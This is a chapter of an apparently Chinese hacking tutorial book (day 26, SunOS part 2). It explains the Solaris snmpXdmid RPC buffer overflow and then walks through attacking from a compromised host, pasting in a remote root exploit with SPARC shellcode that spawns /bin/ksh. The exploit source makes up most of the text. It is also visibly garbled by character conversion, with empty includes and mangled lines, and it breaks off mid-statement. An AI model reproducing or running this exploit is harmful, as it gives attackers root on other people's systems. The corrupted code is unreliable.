30天打造专业红客-第12部分

快捷操作: 按键盘上方向键 ← 或 → 可快速上下翻页 按键盘上的 Enter 键可回到本书目录页 按键盘上方向键 ↑ 可回到本页顶部! 如果本书没有阅读完，想下次继续接着阅读，可使用上方 "收藏到我的浏览器" 功能 和 "加入书签" 功能！


『第26天』Sunos（二）
接着昨天的，今天，我们来看看Sunos的远程溢出。
　
本次范例需要的系统及程序情况如下：
操作系统：Window2000　To　Sunos　5。8
对方操作系统：Sunos　5。8
程序（一）：snmpxdmid。c　
本机IP：127。0。0。1
测试IP：127。0。0。29
新程序说明：“snmpxdmid。c”是利用Rpc的snmpxdmid服务写的exploit。
Solaris　snmpXdmid　远程缓冲区溢出漏洞：
Solaris　2。6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务，这个服务主要用
于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。
在　UXIX　中，Desktop　Management　Interface　（DMI）　和　SNMP　是两个协调工作的远程管理协议。Sun　Microsystems　创建了SNMPxDMID（/usr/lib/dmi/snmpXdmid）映射守护进程来连接这两个协议。此守护进程传输　SNMP　请求给　DMI，但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。
测试开始：
tel　***。***。***。***
*　tel上我的肉鸡。
SunOS　5。8　
login：　cnhack
Password：
Last　login：　Sun　Jul　29　19：37：19　from　127。0。0。1
Sun　Microsystems　Inc。　SunOS　5。8　Generic　February　2000
　
。/usr/man/man5/shell
#
*　取得root权限。
#　cat　》　snmpxdmid。c
*　把exploit贴到主机上。
/*##　copyright　LAST　STAGE　OF　DELIRIUM　mar　2001　poland　*：//lsd…pl。/　#*/
/*##　snmpXdmid　#*/
/*　as　the　final　jump　to　the　assembly　code　is　made　to　the　heap　area；　this　code　*/
/*　also　works　against　machines　with　non…exec　stack　protection　turned　on　*/
/*　due　to　large　data　transfers　of　about　128KB；　the　code　may　need　some　time　to　*/
/*　proceed；　so　be　patient　*/
#include　
#include　
#include　
#include　
#include　
#include　
#include　
#include　
#include　
#define　SNMPXDMID_PROG　100249
#define　SNMPXDMID_VERS　0x1
#define　SNMPXDMID_ADDPONENT　0x101
char　findsckcode＇＇=
〃x20xbfxffxff〃　/*　bn；a　　*/
〃x20xbfxffxff〃　/*　bn；a　　*/
〃x7fxffxffxff〃　/*　call　　*/
〃x33x02x12x34〃
〃xa0x10x20xff〃　/*　mov　0xff；％l0　*/
〃xa2x10x20x54〃　/*　mov　0x54；％l1　*/
〃xa4x03xffxd0〃　/*　add　％o7；…48；％l2　*/
〃xaax03xe0x28〃　/*　add　％o7；40；％l5　*/
〃x81xc5x60x08〃　/*　jmp　％l5＋8　*/
〃xc0x2bxe0x04〃　/*　stb　％g0；＇％o7＋4＇　*/
〃xe6x03xffxd0〃　/*　ld　＇％o7…48＇；％l3　*/
〃xe8x03xe0x04〃　/*　ld　＇％o7＋4＇；％l4　*/
〃xa8xa4xc0x14〃　/*　subcc　％l3；％l4；％l4　*/
〃x02xbfxffxfb〃　/*　bz　　*/
〃xaax03xe0x5c〃　/*　add　％o7；92；％l5　*/
〃xe2x23xffxc4〃　/*　st　％l1；＇％o7…60＇　*/
〃xe2x23xffxc8〃　/*　st　％l1；＇％o7…56＇　*/
〃xe4x23xffxcc〃　/*　st　％l2；＇％o7…52＇　*/
〃x90x04x20x01〃　/*　add　％l0；1；％o0　*/
〃xa7x2cx60x08〃　/*　sll　％l1；8；％l3　*/
〃x92x14xe0x91〃　/*　or　％l3；0x91；％o1　*/
〃x94x03xffxc4〃　/*　add　％o7；…60；％o2　*/
〃x82x10x20x36〃　/*　mov　0x36；％g1　*/
〃x91xd0x20x08〃　/*　ta　8　*/
〃x1axbfxffxf1〃　/*　bcc　　*/
〃xa0xa4x20x01〃　/*　deccc　％l0　*/
〃x12xbfxffxf5〃　/*　bne　　*/
〃xa6x10x20x03〃　/*　mov　0x03；％l3　*/
〃x90x04x20x02〃　/*　add　％l0；2；％o0　*/
〃x92x10x20x09〃　/*　mov　0x09；％o1　*/
〃x94x04xffxff〃　/*　add　％l3；…1；％o2　*/
〃x82x10x20x3e〃　/*　mov　0x3e；％g1　*/
〃xa6x84xffxff〃　/*　addcc　％l3；…1；％l3　*/
〃x12xbfxffxfb〃　/*　bne　　*/
〃x91xd0x20x08〃　/*　ta　8　*/
；
char　shellcode＇＇=
〃x20xbfxffxff〃　/*　bn；a　　*/
〃x20xbfxffxff〃　/*　bn；a　　*/
〃x7fxffxffxff〃　/*　call　　*/
〃x90x03xe0x20〃　/*　add　％o7；32；％o0　*/
〃x92x02x20x10〃　/*　add　％o0；16；％o1　*/
〃xc0x22x20x08〃　/*　st　％g0；＇％o0＋8＇　*/
〃xd0x22x20x10〃　/*　st　％o0；＇％o0＋16＇　*/
〃xc0x22x20x14〃　/*　st　％g0；＇％o0＋20＇　*/
〃x82x10x20x0b〃　/*　mov　0x0b；％g1　*/
〃x91xd0x20x08〃　/*　ta　8　*/
〃/bin/ksh〃
；
static　char　nop＇＇=〃x80x1cx40x11〃；
typedef　struct｛
struct｛unsigned　int　len；char　*val；｝name；
struct｛unsigned　int　len；char　*val；｝pragma；
｝req_t；
bool_t　xdr_req（XDR　*xdrs；req_t　*objp）｛
char　*v=NULL；unsigned　long　l=0；int　b=1；
if（！xdr_u_long（xdrs；&l））　return（FALSE）；
if（！xdr_pointer（xdrs；&v；0；（xdrproc_t）NULL））　return（FALSE）；
if（！xdr_bool（xdrs；&b））　return（FALSE）；
if（！xdr_u_long（xdrs；&l））　return（FALSE）；
if（！xdr_bool（xdrs；&b））　return（FALSE）；
if（！xdr_array（xdrs；&objp…》name。val；&objp…》name。len；~0；sizeof（char）；
（xdrproc_t）xdr_char））　return（FALSE）；
if（！xdr_bool（xdrs；&b））　return（FALSE）；
if（！xdr_array（xdrs；&objp…》pragma。val；&objp…》pragma。len；~0；sizeof（char）；
（xdrproc_t）xdr_char））　return（FALSE）；
if（！xdr_pointer（xdrs；&v；0；（xdrproc_t）NULL））　return（FALSE）；
if（！xdr_u_long（xdrs；&l））　return（FALSE）；
return（TRUE）；
｝
main（int　argc；char　**argv）｛
char　buffer＇140000＇；address＇4＇；pch＇4＇；*b；
int　i；c；n；vers=…1；port=0；sck；
CLIENT　*cl；enum　clnt_stat　stat；
struct　hostent　*hp；
struct　sockaddr_in　adr；
struct　timeval　tm=｛10；0｝；
req_t　req；
printf（〃copyright　LAST　STAGE　OF　DELIRIUM　mar　2001　poland　//lsd…pl。/n〃）；
printf（〃snmpXdmid　for　solaris　2。7　2。8　sparcnn〃）；
if（argch_addr；4）；
｝
sck=RPC_ANYSOCK；
if（！（cl=clnttcp_create（&adr；SNMPXDMID_PROG；SNMPXDMID_VERS；&sck；0；0）））｛
clnt_pcreateerror（〃error〃）；exit（…1）；
｝
cl…》cl_auth=authunix_create（〃localhost〃；0；0；0；NULL）；
i=sizeof（struct　sockaddr_in）；
if（getsockname（sck；（struct　sockaddr*）&adr；&i）==…1）｛
struct｛unsigned　int　maxlen；unsigned　int　len；char　*buf；｝nb；
ioctl（sck；（（'S'